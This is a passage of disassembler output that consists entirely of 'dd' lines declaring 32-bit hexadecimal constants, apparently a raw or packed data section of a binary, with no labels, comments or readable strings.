		dd 2BB60DCh, 0B4CA471h,	8A29AD0Ch, 84300144h, 4B6D6B10h
		dd 5B080521h, 0B491DBh,	371880E6h, 0E33A6576h, 1EDBC0h
		dd 403C9FC8h, 638214D2h, 0EE29C100h, 0F71A847Ch, 6CCD3D9Bh
		dd 1BCBD000h, 8BDCDF5Bh, 4CC3F407h, 8CB38627h, 0C053B048h
		dd 8D2530FDh, 883A95Ah,	4BEC3500h, 0E143F24h, 0AC8000E1h
		dd 0D6C6E6B1h, 0CF0095B2h, 2C24A183h, 551087h, 0A3FD3676h
		dd 0C822A688h, 77654213h, 5D5CBA00h, 69E0D2h, 2BED4C47h
		dd 271E0F2Fh, 0AE7DA01h, 4E892AD3h, 24304970h, 7147C63h
		dd 0F3AE8FE2h, 10E85358h, 77827A4h, 74AC2101h, 640F4F0h
		dd 2B68D8E3h, 0E7890FDBh, 41A06AB0h, 78809BA1h,	8558A400h
		dd 97C16418h, 0D4A900F7h, 0A039607h, 80003863h,	0AEC31288h
		dd 7892F9h, 81EC2AF0h, 0A07D71FFh, 0F5590A3Ch, 82AC9900h
		dd 6606F7D1h, 0F9480FBEh
		dd 29A077D6h, 9B082A1Dh, 0E26EC000h, 0CBF482C5h, 9856008Eh
		dd 0B0E1260Ah, 9700B5F3h, 3008D6BDh, 154ABBh, 991A3D66h
		dd 0E1A3BA8Bh, 0BF174400h, 0A4D02AC9h, 0C1C80636h, 38B5CA8Eh
		dd 0B8DE4100h, 0B903A158h, 0C3E90095h, 0DC47BF5Ch, 0C800BA0Fh
		dd 0CE3A2676h, 0CFE9FFDh, 3CC50308h, 0DF038D10h, 0CFE5938Bh
		dd 3EB4D0B8h, 0BC650079h, 0AD6660D6h, 0B00FFE99h, 8961Ah
		dd 49418B0Fh, 0A8440FB8h, 0E280BA02h, 0B16D7DBh, 5C24D41Ch
		dd 8C54B9C0h, 2E40E779h, 8232DDh, 0FD8F9B7Fh, 8A1DF01Bh
		dd 958FA6DCh, 0E2C19F9Ch, 0AD026EB9h, 0E8E8A3EFh, 80BF51h
		dd 5295F257h, 0E6BD5BF8h, 0CB20DA00h, 47F7263Ah, 0E8C21DEFh
		dd 1F6CAC3Eh, 8B79074Fh, 96620EAh, 13889EBh, 0CAFF00B3h
		dd 0AA30E250h, 90DF006Bh, 8D413DDAh, 62007B1Ch,	5515663Ch
		dd 9E1411h, 2FC67D87h, 4F595499h, 0E7D0AA01h, 7FA271E6h
		dd 1F4C7C0h, 11AFEDB1h,	0D8D5A783h, 18007DE3h, 0EE65DB99h
		dd 43D6A5h, 7E832E46h, 528EB757h, 7588F400h, 0A7E0D833h
		dd 90FBF20Ch, 0F1190E98h, 6F601DECh, 76601FCh, 0CB014E73h
		dd 55B61A68h, 99EC9678h, 0FE2F32B2h, 8A601C46h,	7EA345Fh
		dd 14ABF104h, 488050D0h, 0A546A1h, 43966876h, 773E56FCh
		dd 0E0B60909h, 88E4018Fh, 9BDC3023h, 13EC7A3Dh,	5C34D6h
		dd 1E5B3105h, 3E0063FFh, 92B721D3h, 0F166A19h, 0C6A943A2h
		dd 4CE73061h, 209C206Ch, 49116103h, 0F81E7AE9h,	0ECFF93EDh
		dd 8AE53F83h, 0C2CB3F00h, 8C41FC50h, 94196900h,	7A6E23D1h
		dd 0AE180234h, 0C6628343h, 0C1E700C0h, 9998FA00h, 37BB80E5h
		dd 4FD200ACh, 51865904h, 4300D778h, 38BD0B28h, 3E5C6390h
		dd 0A68EA048h, 1ECF309Ah, 7BFA5AE0h, 8B00AA9Bh,	0C14DDB4Ch
		dd 1205FBCh, 92AFB95h, 0D0A728DDh, 2200C007h, 3454DFE6h
		dd 70FB8E2Ch, 0C24000BEh, 0F094993Dh, 25008471h, 317EFA32h
		dd 0A89833h, 1DF644D9h,	4C3C4A99h, 806F1739h, 6EC1515Fh
		dd 3C9E0D35h, 0C2801369h, 85530F4Ah, 0F2008B34h, 0FAE33E5Dh
		dd 905B7161h, 447E0074h, 0C46DB176h, 16002FAFh,	939950BDh
		dd 12BC16Eh, 0E3F0C2F3h, 2062E24Fh, 0B90757E4h,	29BC0CAEh
		dd 8379D890h, 0F3B20067h, 0EE8CC74Ah, 4E0045C8h, 586638DBh
		dd 0AA2D8Bh, 436FB1BBh,	23802C93h, 215FD800h, 0B8670187h
		dd 0FAF37B1Bh, 6DCB00C1h, 0C06EDF10h, 0C83D533Dh, 998007Dh
		dd 1A284D8Ah, 1FC20039h, 1282A908h, 91002740h, 1D5B4A8Fh
		dd 1451129h, 0CBD82AA8h, 0C0EF39C1h, 710382CEh,	67A32EEBh
		dd 0A10ED83Bh, 18960085h, 7513577Bh, 273C28B1h,	0DC3B804Ch
		dd 88CC2F9Ch, 31F7732h,	6C695873h, 18F0AC85h, 82001A71h
		dd 927A5549h, 18B64E1h,	9514A2B6h, 20C62DFAh, 5E301E82h
		dd 776788C2h, 0AEFD00DCh, 5F4E6D8Eh, 2B004427h,	23D5F05Eh
		dd 8D2985h, 0A7C5193Fh,	0D6E0340Ah, 0D14CF30Fh,	2544A0FEh
		dd 0F5E2A0Dh, 1020CC54h, 0B9B19A00h, 0F0010A30h, 2135840h
		dd 5F70EBA8h, 0C0813A4Fh, 9FFC96h, 87DF59DEh, 4500D5A2h
		dd 70C4D3Ah, 0E59121h, 0CAD79967h, 33BE834Fh, 7184EA00h
		dd 6EBFD0D8h, 0A4EDA1F8h, 85623880h, 37F900Eh, 1765CE0Bh
		dd 0F74600C6h, 0CF42BBh, 7B3740BDh, 4C3EE768h, 0A66FB724h
		dd 841BAB03h, 34B490DAh, 0B271D2h, 278728BAh, 7D7CB31Ch
		dd 0C760C500h, 0F6EFFB9Ch, 836C0066h, 58A0B1EDh, 43005EDCh
		dd 0BF6E3607h, 71FBB459h, 706C00F6h, 62550DE6h,	7476FF08h
		dd 863E7200h, 53A87F25h, 95BE00EFh, 0D979BA88h,	0C500B284h
		dd 3564C4F2h, 7FD4342Ch, 0D798Ch, 950FDA79h, 0B3254807h
		dd 6C233Eh, 42E0B457h, 89012Bh,	0C4096F76h, 1093729Bh
		dd 0FE009D7Fh, 0C65730D4h, 7801C2h, 0BAC3CB62h,	873208EFh
		dd 74405500h, 0C93538C4h, 567008Eh, 0FBCCE99Eh,	0AB0329B8h
		dd 160B74EFh, 0A8BFB3C4h, 4176B1h, 73CD3E17h, 81B6B99Ch
		dd 0D5E58900h, 8B82A71Bh, 0EE7F4Eh, 1C3407Ch, 4808D126h
		dd 870E030h, 0F64FA338h, 0BD75028Dh, 6B7F809h, 971BBBC0h
		dd 0BBCE7C00h, 2AD4E67Fh, 702E18F5h, 0C93798A3h, 9324061Fh
		dd 0E0BB984Fh, 6D575B9Dh, 0DBEC03Eh, 0FEE130E4h, 0FB312700h
		dd 371CBF32h, 0BD743829h, 0CF00A0BEh, 0AFE2B1C6h, 0A2041D63h
		dd 97343191h, 2A211180h, 0D7C8003Ah, 198DEA11h,	167E749Dh
		dd 0CD005CF2h, 0B804011Eh, 29A265h, 80DD91F2h, 9A312572h
		dd 0D2B7C800h, 48136B26h, 8AC7003Ah, 0F4CEE903h, 20004E33h
		dd 3B19A2DDh, 35C1C3h, 401B7356h, 8160AAFCh, 0C67E1701h
		dd 69F87988h, 0AC0240CAh, 0DE370924h, 0C70E4F41h, 4BA348D8h
		dd 9D00587Fh, 98E9363Dh, 74DBC38Fh, 99570B48h, 148165BEh
		dd 7013B9C4h, 85008158h, 27A4EE12h, 0CD0B14h, 0CA1B6743h
		dd 51A1D702h, 40D3BB00h, 0F5144F73h, 75001A4h, 0BF3D4913h
		dd 92B440B7h, 7100F3EAh, 17E8548Bh, 4F2A8Fh, 631E6ACFh
		dd 0BE454478h, 3B16611Fh, 0F092AE00h, 2B085A4h,	37FA6003h
		dd 8CE04278h, 9D00D709h, 80C4A5EBh, 0F2B9B8C8h,	6A70F1h
		dd 0FB5B5F81h, 50594806h, 0C59BC20Eh, 8AC600Dh,	8623DCh
		dd 0FCEEB2EAh, 7DC1605Ch, 0F9AFF40Fh, 0B59E8053h, 24068D69h
		dd 4F0C649h, 0C08088C9h, 0BCEC4884h, 2AAEFC00h,	0D2C74324h
		dd 19E07C0h, 2730D0h, 7FBEC4A2h, 6B448A0Eh, 398B27FCh
		dd 4FBD9C20h, 3010F487h, 8D34F1D1h, 28C0DD51h, 0B8FD3581h
		dd 4071DF30h, 0A06DF0A9h, 0E4F6A452h, 27B1DE1Fh, 0C2462207h
		dd 0C420601Eh, 735D3245h, 5C77DBh, 0BF164BC5h, 92715AD9h
		dd 0BD094739h, 7E5C39h,	0C7A54EE4h, 0D43869h, 0AA5B856Ah
		dd 7F3A0675h, 31B50F00h, 0CC44DC2Ch, 0FD33068Bh, 905AB385h
		dd 4900B076h, 0DE972EB4h, 7DB1C71h, 0E1444787h,	6DF50D4h
		dd 4900A703h, 8E0925DAh, 1FA3B8F7h, 0CE66D7C5h,	57A0CDECh
		dd 8B1560C0h, 0C1187500h, 77DA2250h, 37354C37h,	7E280A04h
		dd 0BE4780A5h, 3A24BD1Ch, 6501C975h, 6E41B819h,	1606EF70h
		dd 24B7CBh, 0B767517h, 1A6014A7h, 0D5913048h, 6E8900EBh
		dd 718C39Dh, 0E5002ABAh, 0F683FC98h, 12DAC2B3h,	0EFE14EAh
		dd 0E48C5F12h, 73044BC2h, 18F49A99h, 4E3F71C1h,	948AC840h
		dd 72BC009Bh, 4D0B55Eh,	0F2E6E3E4h, 74B75700h, 786FC2E8h
		dd 0F7510375h, 887C4F29h, 1D50FDE8h, 0A8680400h, 8240EC0Ch
		dd 33FF0506h, 81E7F827h, 0D8E3BA02h, 5B001911h,	0BF1374C5h
		dd 140FB62Eh, 80C9CCFFh, 20E70607h, 0FDB57045h,	0AB01BCA7h
		dd 0E1D48ADh, 0E02E26CFh, 8A4B3D1Bh, 32D0C6A1h,	2C0C006Eh
		dd 0CABEC9A2h, 88000F78h, 0EC71C4C6h, 77C50E3Bh, 0F4190075h
		dd 365A2B3Eh, 6E487BC9h, 51C80924h, 72D05EDh, 0D568000h
		dd 1E4DD581h, 80940C29h, 4E40F8FEh, 3570430Fh, 4BBF470Ah
		dd 0EF00E350h, 0E308571Ah, 140949B0h, 92013A48h, 0A10C5516h
		dd 5F6D602Ch, 0C61FE709h, 0DCB28072h, 167008CCh, 60F91499h
		dd 0E7C10AD4h, 16F6A178h, 54521301h, 3349A93Eh,	6F90E8h
		dd 0E7EEE350h, 3C2340BFh, 72546700h, 6378AEC6h,	40224C89h
		dd 0A7E4DD01h, 0D09537AFh, 0BA0E17D9h, 408F0741h, 60A33B29h
		dd 0FC050057h, 0EFBAA28h, 0B371D4E4h, 0C3979600h, 16A0D112h
		dd 0B6E70203h, 0A7431467h, 5D084000h, 6B9480A8h, 0D8AD2F18h
		dd 341FF8h, 0F5E1B4D6h
		dd 0C6AA204Ah, 0AFB61A02h, 60503FA6h, 8176F3h, 59421F31h
		dd 73AADD9Bh, 282B5A00h, 0F66BBC3Dh, 0BB640F21h, 0A201C96Ah
		dd 20CFF540h, 9A7E4A0Ch, 0AA031EF6h, 7E711A3Eh,	241BB030h
		dd 25676FFh, 0A3326F35h, 0E2877220h, 6E8FB717h,	65A29980h
		dd 27039515h, 22D6BCAh,	0BA7A88F2h, 7F5F0F33h, 0DFDC68h
		dd 0A2861162h, 0B5004C39h, 48C9B47Ch, 30DAF5h, 0C0CB254Bh
		dd 21D0790Bh, 0BB467B00h, 6C78FFB4h, 6086013Bh,	0A84862DFh
		dd 0CA4ADC0Bh, 58984500h, 0F0B126ACh, 398FE67Ch, 59BA0DCFh
		dd 80B2211Fh, 0CC4D4F45h, 4E0E4667h, 40332A9Eh,	1EC3BD65h
		dd 0E7BB0054h, 0BC279F8h, 170F0152h, 0A03698ECh, 8EE34360h
		dd 1ABD006Dh, 91C222E4h, 0C012F84h, 0ED306452h,	0E6D06997h
		dd 4ED100CBh, 7F2FFC7h,	633BD5A9h, 1F188094h, 78475512h
		dd 7D04B008h, 0F8F500C1h, 18F209EDh, 0DEEEA7BBh, 0D1549600h
		dd 464A0C62h, 0CA4D00B0h, 29263682h, 8B0077E7h,	8C2FF9C1h
		dd 246C8FE8h, 0C70A2Ah,	2966D1B9h, 5400A204h, 0F2AD1845h
		dd 62C294h, 0F3AFFA5Ah,	63CD51F9h, 0D3455D00h, 42AB96E4h
		dd 0A5923EB5h, 39ED4D02h, 0B080C11Eh, 653DF3A4h, 8415E63Ah
		dd 2E1466DEh, 0D728CCC0h, 25593C47h, 0F247503h,	0CDBD13Eh
		dd 0BFEEB1B8h, 0FB5EF400h, 0AEE5F0FEh, 0DACB1FE9h, 0CDA8803Dh
		dd 7EEA9B51h, 0FE1E89E0h, 8196CF97h, 3D7D9600h,	0FA275EE8h
		dd 0DC390050h, 0D87B711Fh, 26715F4Ch, 0BA68A701h, 0DD5A5519h
		dd 0F3AECCh, 27CDC94Eh,	0D7FBD184h, 0DCEFF600h,	0CEBD1E02h
		dd 669F0723h, 9046E47Dh, 8A746227h, 9A902A1Fh, 0E500B0DCh
		dd 0CDB612EEh, 620B008Ch, 0B31A0484h, 0FC396468h, 0E4900076h
		dd 6C7F23F4h, 1CB70091h, 0A28017ECh, 0D9002FD0h, 18B5D520h
		dd 0D83BE1h, 0C0350D53h, 0D746CF0Ah, 75772A1Eh,	0B3101E00h
		dd 894E1Ch, 0EC65277Fh,	776E4504h, 0A8C101F0h, 80ED98C5h
		dd 0FA5807F0h, 250D003Ah, 64E23B6h, 92385FB4h, 187185CBh
		dd 0F903AA91h, 0DBBBF122h, 68A0003Bh, 77AEB541h, 0A300B96Fh
		dd 61B65E43h, 1C225776h, 41187C40h, 4B978D12h, 153FC0D7h
		dd 0CA00E4ECh, 68AF4663h, 0C5426D3h, 2098237Dh,	0DF505298h
		dd 0E900D1A0h, 919A8769h, 0F35557Ah, 7FDD16AAh,	6D9BC3C0h
		dd 6100303Ah, 5DF0DCDFh, 0EA68D2h, 3683CF75h, 0C8DDE8FCh
		dd 0A5C21600h, 7A8439B8h, 0F21C3A4Fh, 19516C80h, 0D685FCFDh
		dd 56384Ch, 0A7998BD8h,	139DDB82h, 0FF35F4D5h, 0DA951300h
		dd 0CEC49009h, 0E40021D6h, 9EE90A3Ch, 3865A100h, 2734738Bh
		dd 0C9D0011h, 1C8AF330h, 3E00D05Ch, 0B4D96110h,	3CEB975Bh
		dd 1E00D16Ch, 0C36AB21Ah, 5D004248h, 0EF0859D8h, 1E5D297h
		dd 0FFF92C8h, 0E4519CAEh, 0DA0047C7h, 7C9F6DE1h, 14103F43h
		dd 94E09773h, 59826280h, 0F900EBDAh, 9229386h, 9F06BAh
		dd 67AEA103h, 35B9B61Bh, 0FF0086ECh, 0A6940BFCh, 1DEFCB04h
		dd 33163Ah, 0DCB77DDAh,	6901015Ch, 0AF8B7B9Dh, 9BE3B045h
		dd 0D7AB08Eh, 0F8F900C3h, 0A37D85CFh, 670FC56Ah, 80A20A17h
		dd 0D7A4842Eh, 0F3E1002Fh, 41023952h, 9FB0B76Dh, 0DB193200h
		dd 7A6731FBh, 0B9EC000Ah, 28A33403h, 660C69F7h,	11454B2Dh
		dd 0A233077Bh, 80C62953h, 0C4D5432Fh, 174F30FFh, 37B91502h
		dd 806B447Bh, 8AFA06EEh, 0F573FFDh, 18B4C087h, 0CB8F20A3h
		dd 830901C9h, 19EE814h,	611AEAD4h, 59ADC4h, 0E2C565D2h
		dd 0CFC6078h, 7A5E4400h, 10DF8292h, 0F3F75C09h,	6445F503h
		dd 8DC81BA1h, 67000277h, 0C9065DB1h, 0FA33656h,	0CD7F3A9Ch
		dd 9F8747C1h, 1BD5F0B9h, 0CB7C0328h, 139B100h, 0A85B7A7Eh
		dd 0AEAB00C0h, 0DD579CE3h, 3A0041E6h, 230299D5h, 19629B9h
		dd 0BE8C9E95h, 813603C4h, 3A5E71E0h, 0F18F6D65h, 3E40789Fh
		dd 55EC8BCFh, 0E7191A00h, 8A6CBEDEh, 17EA53h, 0D7E28F5Ch
		dd 0DF0E4857h, 5C6BC03h, 0B22BC4C2h, 36A4C0CCh,	205A6032h
		dd 3EE0433Dh, 0DA1E7314h, 3FF5890h, 45F81507h, 9C0940Dh
		dd 8ADD56h, 39314A49h, 9B243ED6h, 2F619300h, 0DD55B2EBh
		dd 26020003h, 73800DB6h, 86398AB9h, 7E798718h, 0AE404F51h
		dd 2DD3CAh, 14D5A67Bh, 1F65220Eh, 0FF6F3D1Eh, 42744340h
		dd 3A788FD2h, 0B0960995h, 90620013h, 6E49E83Ah,	31C5C900h
		dd 7CFEBB9h, 1BB70053h,	7B1D1CD7h, 3D0705A1h, 235D2454h
		dd 0B3E9601Eh, 0CD854Bh, 9CD61506h, 907C6621h, 0DEE5E800h
		dd 0F46CF0D8h, 0E9930588h, 31D06ACh, 85D907A8h,	76DBFAF0h
		dd 0FE6A651Eh, 0A984DF81h, 49D4BF4Bh, 0CB6100D0h, 0CE05CCE6h
		dd 88001108h, 0C1571714h, 0B1320Bh, 0A4178E8h, 0BAE29A92h
		dd 117EAC00h, 0B53CFC2Eh, 27B903A0h, 79A7D3ADh,	58FD080h
		dd 9030427Ah, 0E49CF87Eh, 433800F6h, 0E8742C12h, 1E0F4ECFh
		dd 20FAD687h, 8C0ADCBh,	0CE270989h, 1780A622h, 9C401638h
		dd 723C4D00h, 424CD59Bh, 0DF30D7Dh, 0F7E00EFEh,	50376EB0h
		dd 61D73003h, 0B886DD28h, 0D2F2C8h, 49141E6Ch, 0CC2A88D1h
		dd 7CC4BD00h, 73EFC619h, 135B002Bh, 88FB9542h, 48F22499h
		dd 0B2D2F400h, 7CCF72DDh, 15C30001h, 7A69738Fh,	7F070842h
		dd 0FDE95CE8h, 4789B420h, 0F0B000CCh, 0E37BD9DAh, 0F17609ECh
		dd 0F8C1C424h, 2F839200h, 78954B3h, 537F0E5Eh, 9D1B40C0h
		dd 8C00A22Ch, 0B549A836h, 5CCCCD0Ch, 3F00B6BEh,	39CEFF3Ch
		dd 29FC7D40h, 18233Ch, 0DF887077h, 0CC925Ch, 7ABE8A45h
		dd 4303526h, 9C503800h,	942244B3h, 48FC000Dh, 3B4EECF3h
		dd 0E61F2333h, 0E31357F1h, 805B2F09h, 58B9794Eh, 1B0B03BAh
		dd 31215910h, 53821798h, 7D8FFB00h, 60D56388h, 5724001Eh
		dd 1C4ABA83h, 0EF507E54h, 0EC0313BFh, 0C2FFC41Fh, 4AC9384h
		dd 4B8830F8h, 0A9489089h, 5CE4D1DEh, 447D02FAh,	0AE60F201h
		dd 0A6A07C4Ah, 853AD8h,	0DB246C61h, 2CB5471Ch, 550F3Dh
		dd 8EC69573h, 0C47DD9h,	2502BEF3h, 84C81319h, 58944019h
		dd 40CABA70h, 0BF4AA04h, 3E4C7303h, 0C01A6580h,	0BD2435F5h
		dd 0C32036A8h, 0ECE56807h, 1B501482h, 54552D2h,	2A4F3C72h
		dd 0E6DAC05Ch, 6304DC2Fh, 0FC6C769Eh, 4488DC0h,	90DF002Bh
		dd 54F31785h, 9800D680h, 46C734A2h, 7CF026ABh, 6FFB0086h
		dd 315565CBh, 47E0CA16h, 9FDED901h, 6D8AFE72h, 0E8E20034h
		dd 11F90FDh, 0D9712E39h, 9E5A500Eh, 0BD4E25D0h,	0C93BC094h
		dd 7815E53h, 313D5105h,	0E22970ACh, 390024EDh, 8E0C6BDDh
		dd 306DA0h, 6E5DD7E7h, 0D67F14DBh, 7B9B4C09h, 25F6809Fh
		dd 9D5327h, 16864A13h, 11E149B4h, 4410E403h, 0C070C242h
		dd 1EAD60FCh, 43501843h, 0A5854FE2h, 0CE84C0D7h, 0C807DB86h
		dd 46BB7123h, 0B100E7BAh, 95AE6532h, 59880B72h,	3C000A0Ch
		dd 0A8FF5A36h, 9481E400h, 1712F3E8h, 22DD0058h,	0A4610B3Dh
		dd 96724954h, 19057777h, 0DD9BA5B0h, 1BDA0080h,	2CE00029h
		dd 338567B9h, 0EC02B55Ah, 5842D0CDh, 0D8F463DBh, 0F44AD44Ch
		dd 0EAF10013h, 9E69B89Ah, 0FD03C8F2h, 775950D3h, 0B6D79026h
		dd 0E23744Dh, 9C6660EAh, 3FA9364Ch, 89D49248h, 8080209Eh
		dd 1976Ah, 6EA64D18h, 4A40E6BBh, 87F25Ch, 3DFAF69Fh, 9E4987Bh
		dd 804B2252h, 0D83F7880h, 0AC01F9B7h, 6A648702h, 0E5F8C342h
		dd 0DCAB072Fh, 0F0FC9265h, 0A472F163h, 2EBF8700h, 0B08FA652h
		dd 604AE2CFh
		dd 0FD089844h, 660F1325h, 203C3B6Eh, 1487366Dh,	0A8C700ABh
		dd 562886EBh, 1000CD9Bh, 0EA7B6EE7h, 58165A79h,	3458D5D8h
		dd 0B8CEE300h, 0BDB9C309h, 2FA6DC0Bh, 0B61C00F2h, 972D23h
		dd 3B7A9FF8h, 0AA993E12h, 5773C500h, 9C1C390Bh,	0F309822h
		dd 0E64540F5h, 0F20A88A1h, 2E44018h, 0E4009482h, 6939CB09h
		dd 6F813E9h, 730D1C2Ah,	710C3838h, 0B8799C4Bh, 1B33029Bh
		dd 0C5B777A2h, 0B0CE2887h, 94A4AA9Ch, 0E118971Eh, 0D3F05600h
		dd 5C531567h, 0AE0000DDh, 96C0C177h, 7C75DB01h,	0F8FE2A00h
		dd 890442E4h, 7CE7F04Eh, 61EA6Bh, 4CE0E943h, 0F61905A9h
		dd 0EBFCC47Ah, 51DD9505h, 64C0DBACh, 803732h, 6C855E14h
		dd 0EE7A419Eh, 0E10CC417h, 7E512C00h, 7396D8F8h, 4AB8126Bh
		dd 700C00CCh, 0BCC829C6h, 0CE000A7Bh, 0BE6E615Fh, 0A536E7h
		dd 881E64DFh, 8F80F8B7h, 9DD0E300h, 0D40C75DBh,	51D30139h
		dd 59B32DCAh, 2C782093h, 35042B0Eh, 8D566098h, 24C9D8Eh
		dd 1E39C295h, 0B760BD2Ah, 0C80111FEh, 0CDCF3B9Eh, 0D1FC7533h
		dd 0EEC20047h, 3CA69D7Bh, 0F905FDDCh, 685DDB74h, 7043AC13h
		dd 0AF4669B9h, 4110ECD7h, 72674Dh, 978B3CDFh, 1C04F5BAh
		dd 0F4313500h, 0A0A22E4Ah, 43FF44Ch, 1F9993C6h,	1744C020h
		dd 0EA00147Bh, 0FDE1434Eh, 969FA3h, 0B3A77650h,	0B445A6ECh
		dd 8382D33Ah, 62C5584Ah, 0FD38F0EDh, 0E0FCE529h, 0F425006Ah
		dd 0A8F140B5h, 0E100B78Eh, 0D22C1F7Ah, 422FF2h,	520C135Ch
		dd 0ABECCEFAh, 1D0707B0h, 0B04B4D84h, 0DFE2340h, 558C008Fh
		dd 99C52EB5h, 0F30071A4h, 19DB7858h, 1E9A9C73h,	898BA5ACh
		dd 400835FFh, 0C0791DF0h, 17154C95h, 4F00EABBh,	6B3EE5Ch
		dd 9107B6h, 7297F4E3h, 0B85FA8Bh, 51048302h, 0C0313079h
		dd 741F00h, 3BB6E366h, 0F626D5CCh, 0BA469616h, 0C1A45807h
		dd 0ABCEE510h, 2CFD721Ch, 0C2506h, 0FE3675E9h, 0E40038AEh
		dd 71A0133h, 9C8C094h, 1F3519BEh, 0A00FFBFCh, 0B4412977h
		dd 1B5128C8h, 5B2100DEh, 0BA70B9B0h, 0D800AB03h, 0CFF6D3AEh
		dd 0F04DC9h, 0D2F15AF3h, 0ABBD4211h, 68F5150Fh,	8B45C19Fh
		dd 85D8CEE9h, 0E581008Ch, 0FF6276CBh, 0AC0EEAEDh, 60D461A1h
		dd 4526F974h, 0DE980587h, 872C80CDh, 0A7002F5Fh, 3E8B6E97h
		dd 0CBB0147Ch, 0F7183A00h, 0F204A40Fh, 3D1F0015h, 9E33AFA2h
		dd 4B00EA6Eh, 7DDD69E3h, 50E82Dh, 0DEEB6ACDh, 0C2B73847h
		dd 0A8928003h, 8037B2C1h, 13A82h, 0DA055FB4h, 34498F0h
		dd 6A668100h, 4CC15048h, 1B8C1617h, 518600AEh, 76A3B0BCh
		dd 437F201h, 9E57B818h,	0F7B97F4h, 6490446Dh, 55B9FEA1h
		dd 1F1B6023h, 7D4D5300h, 813DF9F8h, 0CA403C27h,	42C58F80h
		dd 9D1C8660h, 75696B00h, 0F1D21488h, 2BB00055h,	0A8EE76FEh
		dd 0B5004E13h, 0ABB27D23h, 0BCC72h, 3F159E96h, 86EF6D77h
		dd 0C74CA500h, 32A1FA6Ah, 0C4D100BCh, 0EECB6B6Ch, 5004F1Ah
		dd 25293669h, 32BBFD6Dh, 9B60275Bh, 0F41A8561h,	0DCA069CAh
		dd 848D91h, 0CBB13032h,	936ED14Ch, 1122F00h, 4EBE794h
		dd 147600FDh, 0EABA7ADh, 2C00C7CCh, 6E193BD3h, 484BB8FCh
		dd 7200F8DFh, 769325D4h, 0E13B4D8Dh, 0CF4817h, 0DD447A65h
		dd 60D442E6h, 0CACB808Fh, 0EE003B1h, 0A0A48B00h, 1DF1CF47h
		dd 0D70A00F3h, 3122C70h, 0C0008F6Bh, 55831EB6h,	9D4A432Eh
		dd 58656CE0h, 74AF1B00h, 0CF7BCD72h, 71B30088h,	67D8F6C9h
		dd 50004375h, 0EB9B4DD1h, 0EE52DB3Fh, 21600A1h,	9548F61Ah
		dd 2B0344F2h, 847A065Fh, 0D72290F0h, 0A70D0082h, 4B27FDFAh
		dd 0B03929D4h, 0DC890A7Bh, 1B1EE32Bh, 0EB31500h, 12241C0h
		dd 2FC8AA88h, 0D03411B6h, 0F8E85A67h, 0F9007F7Ch, 68AD6EFCh
		dd 72E9B0h, 4CF2CD14h, 465B1A84h, 42009474h, 237750Ch
		dd 79EBED06h, 0AC50B2Eh, 8109BAB3h, 41B1CD00h, 4428F727h
		dd 1800E072h, 0CEE61A73h, 0C2D05Eh, 0BF029728h,	0ACD63A7Ah
		dd 95006E72h, 58C67C96h, 2F494EFh, 0ED86DE8Bh, 20404EFAh
		dd 0EC00A528h, 0FC14FD18h, 39B173F7h, 5E87C437h, 0D07E98CAh
		dd 0AD23E704h, 0D8509100h, 4667885Ch, 0CF70DAh,	9328B476h
		dd 9E36BD26h, 92F09100h, 0A1DA1170h, 31F5009Dh,	33F49BFDh
		dd 4700B286h, 43A02F1Ah, 2C93FAC7h, 9B24824h, 40054177h
		dd 3CA8C010h, 4C00E45Ah, 7C7AC6B4h, 0E7FE95h, 0D0AC8537h
		dd 0B9DA9FEEh, 2069DE00h, 0F898273Bh, 0F56400FAh, 0EA78E583h
		dd 0AF005270h, 2F323787h, 8C8259h, 3488207Dh, 0A8AA93F4h
		dd 0E7C14100h, 58D53F2Dh, 70FC2Ch, 8544156Ah, 1FB629AAh
		dd 2E18224Ch, 5F00C2B4h, 0ADDCF7ABh, 0B56B3B13h, 9C7FF081h
		dd 3091CB16h, 80018B08h, 0ED6DA541h, 81F3B799h,	0C4F4565Dh
		dd 1BCC0045h, 88E06749h, 9EEEBB4Ch, 0ED91B100h,	57150E02h
		dd 61E8B4h, 7F1AACC0h, 96A376F5h, 8168CC00h, 0B3DE8B9h
		dd 0A0F9C0B8h, 859364F9h, 0EB460804h, 0DF9026C8h, 3F0E307Ah
		dd 7B8FD454h, 0FCC0F43Dh, 843BEE94h, 0C07E1800h, 9CDE55Fh
		dd 0D0D4050Fh, 0C0A3A4E6h, 23E80691h, 7E00E173h, 6E63BE20h
		dd 0A810CDA5h, 979D5D8h, 7B3582DEh, 3F87083h, 0E0EC93D7h
		dd 66C0E3D8h, 3A017248h, 0FBA00055h, 30A840D8h,	4E492F02h
		dd 123FADF8h, 0A680802Ah, 24CFE89Ch, 0F31A00B5h, 0FD4BA94Eh
		dd 0DE3A8991h, 0C85A80CAh, 6DAF80A6h, 76590E86h, 0A000C4B8h
		dd 1C2D1D2Fh, 43CE3300h, 633B2B14h, 686C13D6h, 97AC0089h
		dd 0DEF2F9D2h, 7105EE00h, 0A5217E4h, 0C054011Ah, 0B86D0F7Ch
		dd 9F24604Ch, 6501E000h, 0A82664E8h, 0ECB64C85h, 0D005D200h
		dd 965D042Dh, 0AF258917h, 0BBD9D0Eh, 25EE8FC2h,	0C0584B3Fh
		dd 444838h, 0AC69C976h,	7EF91FEFh, 50BD94B2h, 0E05C9AE8h
		dd 45E2039Ch, 98E75726h, 1A0FEAA0h, 0D31C10A0h,	0C126377h
		dd 0DF0DAA7h, 33300FC6h, 0F400E34Ah, 5917D4A8h,	8F33E475h
		dd 0F06B8026h, 175C23CFh, 8D3F93h, 0A0788419h, 1C90A8B7h
		dd 0E2672601h, 0B5B23EC6h, 28703D70h, 603C1B04h, 26992024h
		dd 5C6F7D53h, 831D9DB8h, 0E7440022h, 2E2A4645h,	0A3071A61h
		dd 230688A5h, 4780B885h, 8228BFh, 0B955384Eh, 0CECF3C47h
		dd 0FC92BB03h, 292E37h,	56540B64h, 5A51988Bh, 0F1EFE300h
		dd 0F9EA9415h, 0F8E500DBh, 3756C658h, 0E700D1FAh, 73882F21h
		dd 19AF7Ch, 0D6A653E8h,	2734B825h, 0B4A58100h, 6196C202h
		dd 66F407E1h, 10AA4D80h, 4A9530E4h, 0E224BF07h,	34575D41h
		dd 9C2165F0h, 8FCF00FCh, 0A5130457h, 9200BCCEh,	0B54470D3h
		dd 5460D8Ah, 0D483E74Ah, 74E44181h, 0FC0888A4h,	23017269h
		dd 0A7AB8230h, 2BE18175h, 8EA68340h, 736007A4h,	71A3699Ah
		dd 70A876B5h, 7A72F7E4h, 380C2918h, 88D47C29h, 0B0889E73h
		dd 0D2A289FCh, 22CD0822h, 0D4229C65h, 7E0C22F6h, 0BF402424h
		dd 56416616h, 4F2A1400h, 5C0E325Bh, 8C21DABh, 0F4D2C060h
